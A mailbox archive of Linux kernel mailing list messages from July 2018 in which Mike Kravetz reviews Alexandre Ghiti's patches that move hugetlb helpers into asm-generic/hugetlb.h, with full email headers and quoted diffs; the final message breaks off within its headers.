X-CRM114-Status: GOOD (  20.54  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [156.151.31.86 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666268 gmane.linux.kernel:2831672 gmane.linux.ports.ia64:28963 gmane.linux.ports.mips.general:65679 gmane.linux.ports.parisc:28825 gmane.linux.ports.ppc64.devel:160470 gmane.linux.ports.sh.devel:57260 gmane.linux.ports.sparc:28121 gmane.linux.kernel.cross-arch:45497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666268>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> asm-generic/hugetlb.h proposes generic implementations of hugetlb
> related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
> specific implementations of hugetlb functions consistent with pgtable.h
> scheme.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm64/include/asm/hugetlb.h | 2 +-
>  include/asm-generic/hugetlb.h    | 2 +-
>  2 files changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index e73f68569624..3fcf14663dfa 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  				    unsigned long addr, pte_t *ptep);
>  extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  				  unsigned long addr, pte_t *ptep);
> +#define __HAVE_ARCH_HUGE_PTE_CLEAR
>  extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
>  			   pte_t *ptep, unsigned long sz);
> -#define huge_pte_clear huge_pte_clear
>  extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
>  				 pte_t *ptep, pte_t pte, unsigned long sz);
>  #define set_huge_swap_pte_at set_huge_swap_pte_at
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 9d0cde8ab716..3da7cff52360 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
>  	return pte_modify(pte, newprot);
>  }
>  
> -#ifndef huge_pte_clear
> +#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
>  static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
>  		    pte_t *ptep, unsigned long sz)
>  {
> 

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Thu, 26 Jul 2018 11:45:24 -0700
Lines: 318
Approved: news@gmane.org
Message-ID: <623882f0-584d-6e03-d266-d0ddcb5d89aa@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-3-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532630667 6484 195.159.176.226 (26 Jul 2018 18:44:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 18:44:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 20:44:20 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filFM-0001Wa-0H
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 20:44:20 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=5C7ISbyged8Y50+1h23MOBFNUnPtDsxROi29Yvn79bo=; b=SBohSeRJgJp+7zOOKScswMnmAY
	ONXBAXeJVEparke2Wjbp1XudUcnwBTDlRtvlCh+WLKwceiwxx/Pose5ZIQQL8JCQOYxpqqxhkLXer
	Pni4DTikQ86Utluj/kD6MLsA2C89wnSGdjKEy4K46qlzERdfi8QgTTx84izYRhk0yDcfwxzw0u/uL
	9qIJ9BuEx4LG4OUCrREmao94IxHPq7/w9JW4m3Q01t5ZAwUlrKrNNjHHdLjzXnxH9VzGgcecPOQYG
	kMExc122pkoE5ZyLi83q0HjfjbONFh6/mv2mhsajEjDTGyCsqkco9dK7mi0E0NDdv+ymOGnTtu4Vv
	BgnDLqHQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filHP-0000m8-VW; Thu, 26 Jul 2018 18:46:27 +0000
Original-Received: from aserp2120.oracle.com ([141.146.126.78])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filHM-0000l4-75
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 18:46:26 +0000
Original-Received: from pps.filterd (aserp2120.oracle.com [127.0.0.1])
 by aserp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QIdlxF117893;
 Thu, 26 Jul 2018 18:45:29 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=iga+Dad2RaqUbadTOBDnT1nmywvDUDQe5ckOfJDiLxE=;
 b=nzZg+lRY9PgTP1pbppXRm0jrtldrydf6zuyoualF9BS5LtETWHrneScxq1NsX0IzkIrQ
 OH0/GNOYRPbRsMY1S7TBSIV1Gxz59gBCtxaRMutvygoO9j79J7lNu+eO2Lu2cOWO+8VI
 FpAUkZYqdfI7Lfdhf0OVUGRMlNodBs3fQYBhLT6cwFhY+JJqjrohRdbTNPY/SjVyvROa
 lT0hnvyIo8YVW8pUQ6Rcfyr0IyViic/aozdgjD+jM3VdjOhcqr4pA6I0ZXQ4Zk6MWD0w
 mHNYqoLv4HO4IRh7aOmK6QEx4qxLVCKZQPKIAeSs2TrScXTmTCOcUKseHxP2qLk1iBa5 OQ== 
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
 by aserp2120.oracle.com with ESMTP id 2kbvsp4cd1-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 18:45:29 +0000
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
 by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QIjTX7007340
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 18:45:29 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
 by aserv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6QIjRbE028239;
 Thu, 26 Jul 2018 18:45:27 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 11:45:26 -0700
In-Reply-To: <20180705110716.3919-3-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=2
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=999
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260191
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_114624_359309_EA2AFCD6 
X-CRM114-Status: GOOD (  24.24  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [141.146.126.78 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666269 gmane.linux.kernel:2831673 gmane.linux.ports.ia64:28964 gmane.linux.ports.mips.general:65680 gmane.linux.ports.parisc:28826 gmane.linux.ports.ppc64.devel:160471 gmane.linux.ports.sh.devel:57261 gmane.linux.ports.sparc:28122 gmane.linux.kernel.cross-arch:45498
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666269>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, arm64, mips, parisc, sh, x86 architectures use the
> same version of hugetlb_free_pgd_range, so move this generic
> implementation into asm-generic/hugetlb.h.
> 

Just one small issue below.  Not absolutely necessary to fix.
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb.h     | 12 ++----------
>  arch/arm64/include/asm/hugetlb.h   | 10 ----------
>  arch/ia64/include/asm/hugetlb.h    |  5 +++--
>  arch/mips/include/asm/hugetlb.h    | 13 ++-----------
>  arch/parisc/include/asm/hugetlb.h  | 12 ++----------
>  arch/powerpc/include/asm/hugetlb.h |  4 +++-
>  arch/sh/include/asm/hugetlb.h      | 12 ++----------
>  arch/sparc/include/asm/hugetlb.h   |  4 +++-
>  arch/x86/include/asm/hugetlb.h     | 11 ++---------
>  include/asm-generic/hugetlb.h      | 11 +++++++++++
>  10 files changed, 30 insertions(+), 64 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
> index 7d26f6c4f0f5..047b893ef95d 100644
> --- a/arch/arm/include/asm/hugetlb.h
> +++ b/arch/arm/include/asm/hugetlb.h
> @@ -23,19 +23,9 @@
>  #define _ASM_ARM_HUGETLB_H
>  
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
>  
>  #include <asm/hugetlb-3level.h>
>  
> -static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> -					  unsigned long addr, unsigned long end,
> -					  unsigned long floor,
> -					  unsigned long ceiling)
> -{
> -	free_pgd_range(tlb, addr, end, floor, ceiling);
> -}
> -
> -
>  static inline int is_hugepage_only_range(struct mm_struct *mm,
>  					 unsigned long addr, unsigned long len)
>  {
> @@ -68,4 +58,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  	clear_bit(PG_dcache_clean, &page->flags);
>  }
>  
> +#include <asm-generic/hugetlb.h>
> +

I don't think moving the #include is necessary in this case where you are
not adding a __HAVE_ARCH_HUGE* definition.  I like having all the #include
statements at the top if possible.
-- 
Mike Kravetz

>  #endif /* _ASM_ARM_HUGETLB_H */
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 3fcf14663dfa..4af1a800a900 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>  	return READ_ONCE(*ptep);
>  }
>  
> -
> -
> -static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> -					  unsigned long addr, unsigned long end,
> -					  unsigned long floor,
> -					  unsigned long ceiling)
> -{
> -	free_pgd_range(tlb, addr, end, floor, ceiling);
> -}
> -
>  static inline int is_hugepage_only_range(struct mm_struct *mm,
>  					 unsigned long addr, unsigned long len)
>  {
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 74d2a5540aaf..afe9fa4d969b 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -3,9 +3,8 @@
>  #define _ASM_IA64_HUGETLB_H
>  
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
> -
>  
> +#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
>  void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
>  			    unsigned long end, unsigned long floor,
>  			    unsigned long ceiling);
> @@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #endif /* _ASM_IA64_HUGETLB_H */
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 982bc0685330..53764050243e 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -10,8 +10,6 @@
>  #define __ASM_HUGETLB_H
>  
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
> -
>  
>  static inline int is_hugepage_only_range(struct mm_struct *mm,
>  					 unsigned long addr,
> @@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> -					  unsigned long addr,
> -					  unsigned long end,
> -					  unsigned long floor,
> -					  unsigned long ceiling)
> -{
> -	free_pgd_range(tlb, addr, end, floor, ceiling);
> -}
> -
>  static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  				   pte_t *ptep, pte_t pte)
>  {
> @@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #endif /* __ASM_HUGETLB_H */
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 58e0f4620426..28c23b68d38d 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -3,8 +3,6 @@
>  #define _ASM_PARISC64_HUGETLB_H
>  
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
> -
>  
>  void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  		     pte_t *ptep, pte_t pte);
> @@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> -					  unsigned long addr, unsigned long end,
> -					  unsigned long floor,
> -					  unsigned long ceiling)
> -{
> -	free_pgd_range(tlb, addr, end, floor, ceiling);
> -}
> -
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
>  {
> @@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #endif /* _ASM_PARISC64_HUGETLB_H */
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 3225eb6402cc..a7d5c739df9b 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -4,7 +4,6 @@
>  
>  #ifdef CONFIG_HUGETLB_PAGE
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
>  
>  extern struct kmem_cache *hugepte_cache;
>  
> @@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
>  void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
>  #endif
>  
> +#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
>  void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
>  			    unsigned long end, unsigned long floor,
>  			    unsigned long ceiling);
> @@ -179,6 +179,8 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #else /* ! CONFIG_HUGETLB_PAGE */
>  static inline void flush_hugetlb_page(struct vm_area_struct *vma,
>  				      unsigned long vmaddr)
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 735939c0f513..f6a51b609409 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -4,8 +4,6 @@
>  
>  #include <asm/cacheflush.h>
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
> -
>  
>  static inline int is_hugepage_only_range(struct mm_struct *mm,
>  					 unsigned long addr,
> @@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> -					  unsigned long addr, unsigned long end,
> -					  unsigned long floor,
> -					  unsigned long ceiling)
> -{
> -	free_pgd_range(tlb, addr, end, floor, ceiling);
> -}
> -
>  static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  				   pte_t *ptep, pte_t pte)
>  {
> @@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  	clear_bit(PG_dcache_clean, &page->flags);
>  }
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #endif /* _ASM_SH_HUGETLB_H */
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 300557c66698..59d89b52ccb7 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -3,7 +3,6 @@
>  #define _ASM_SPARC64_HUGETLB_H
>  
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
>  
>  #ifdef CONFIG_HUGETLB_PAGE
>  struct pud_huge_patch_entry {
> @@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
>  
> +#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
>  void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
>  			    unsigned long end, unsigned long floor,
>  			    unsigned long ceiling);
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #endif /* _ASM_SPARC64_HUGETLB_H */
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 5ed826da5e07..996ce8e15365 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -3,7 +3,6 @@
>  #define _ASM_X86_HUGETLB_H
>  
>  #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
>  
>  #define hugepages_supported() boot_cpu_has(X86_FEATURE_PSE)
>  
> @@ -28,14 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> -					  unsigned long addr, unsigned long end,
> -					  unsigned long floor,
> -					  unsigned long ceiling)
> -{
> -	free_pgd_range(tlb, addr, end, floor, ceiling);
> -}
> -
>  static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  				   pte_t *ptep, pte_t pte)
>  {
> @@ -90,4 +81,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
>  static inline bool gigantic_page_supported(void) { return true; }
>  #endif
>  
> +#include <asm-generic/hugetlb.h>
> +
>  #endif /* _ASM_X86_HUGETLB_H */
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 3da7cff52360..c697ca9dda18 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
> +static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
> +		unsigned long addr, unsigned long end,
> +		unsigned long floor, unsigned long ceiling)
> +{
> +	free_pgd_range(tlb, addr, end, floor, ceiling);
> +}
> +
> +
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 03/11] hugetlb: Introduce generic version of
 set_huge_pte_at
Date: Thu, 26 Jul 2018 12:00:06 -0700
Lines: 190
Approved: news@gmane.org
Message-ID: <b9341c15-38d5-8a6f-2e51-bae3f6593880@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-4-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532631557 7946 195.159.176.226 (26 Jul 2018 18:59:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 18:59:17 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 20:59:11 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filTi-0001vN-6z
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 20:59:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=125kXk2uv4R3XP8D/dyeD09dA9PSLRGf1XJejubehPA=; b=cGQxb4x8Op6cN3kzzd40//BtCz
	EKH3gD4Yapq2+inI8qerKxs8U4mnt0CEyU5GwuWV3H1H0mO5IynONQEwgMajWF59H6ZBxSwfNoH/v
	k/LYo0+lfU2PTOingw07tJgcG2xe+r/jNEMKNmy/z7mdYPEsMffjL732c4PATdyR0nyh8YGR8sUyX
	T16XlLE3dYxI9glsQ0nsB6o7MC2BhASif8ls8/s/yUXKDkgy0AQ+lJjPNI3ZiYWd0ppbNAfReNruE
	WrDbx+xo88lBE1D0H8Z9Suu3ydx2zxOfKmwBstotDHRfzqylfln/2rqzSLrlvn2fN5Qj3W9ChjzK0
	0aCJK8HQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filVn-0007V9-8R; Thu, 26 Jul 2018 19:01:19 +0000
Original-Received: from userp2120.oracle.com ([156.151.31.85])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filVi-0007Ji-No
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:01:16 +0000
Original-Received: from pps.filterd (userp2120.oracle.com [127.0.0.1])
 by userp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QIwbjg101467;
 Thu, 26 Jul 2018 19:00:22 GMT
